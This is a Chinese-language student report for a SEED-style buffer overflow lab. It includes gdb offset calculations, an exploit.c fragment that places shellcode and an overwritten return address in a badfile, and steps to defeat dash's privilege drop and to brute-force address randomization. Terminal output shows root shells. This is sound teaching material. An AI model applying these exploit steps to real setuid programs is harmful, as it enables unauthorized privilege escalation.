网安实验基础 lab2 实验报告

实验内容：

Task 1: Running Shellcode

```
[07/09/21]seed@VM:~$ gcc -z execstack -o call_shellcode call_shell
code.c
[07/09/21]seed@VM:~$ call_shellcode
$
```

可以看到，运行程序后，一个新的 shell 被启动

Task 2: Exploiting the Vulnerability

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffe9c8
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffe9a8
gdb-peda$ p/d 0xbfffe9c8 - 0xbfffe9a8
$3 = 32
gdb-peda$ quit
[07/09/21]seed@VM:~$
```

```
int start = 517 - strlen(shellcode);
for(int i = start;i < 517;++i)
{
        buffer[i] = shellcode[i - start];
}
long addr = 0xbfffe9c8 + 100;
long *ptr = (long *) (buffer + 36);
*ptr = addr;
```

```
[07/09/21]seed@VM:~$  gcc -o exploit exploit.c
[07/09/21]seed@VM:~$ ./exploit
[07/09/21]seed@VM:~$ ./stack
#
```

通过缓冲区溢出攻击，可以看到已经获得了一个拥有 root 权限的 shell

Task 3: Defeating dash's Countermeasure

```
[07/09/21]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[07/09/21]seed@VM:~$ sudo chown root dash_shell_test
[07/09/21]seed@VM:~$ sudo chmod 4755 dash_shell_test
[07/09/21]seed@VM:~$ dash_shell_test
$
```

在去掉注释前，我们只能得到一个普通 shell

```
[07/09/21]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[07/09/21]seed@VM:~$ sudo chown root dash_shell_test
[07/09/21]seed@VM:~$ sudo chmod 4755 dash_shell_test
[07/09/21]seed@VM:~$ dash_shell_test
#
```

去掉注释之后，我们又可以得到 root 权限的 shell

```
[07/09/21]seed@VM:~$ gcc -o exploit exploit.c
[07/09/21]seed@VM:~$ ./exploit
[07/09/21]seed@VM:~$ ./stack
#
```

改进后的 badfile 可以在 bash 下仍然获得 root 权限 shell

Task 4: Defeating Address Randomization

```
[07/09/21]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_spac
e=2
kernel.randomize_va_space = 2
[07/09/21]seed@VM:~$ ./exploit
[07/09/21]seed@VM:~$ ./stack
Segmentation fault
[07/09/21]seed@VM:~$
```

开启栈地址随机化后攻击无法成功

```
0 minutes and 7 seconds elapsed.
The program has been running 7735 times so far.
#
```

可以看到在经过 7000+次尝试后，在 7s 的时间就用穷举的方法使攻击成功，得到了 root 权限 shell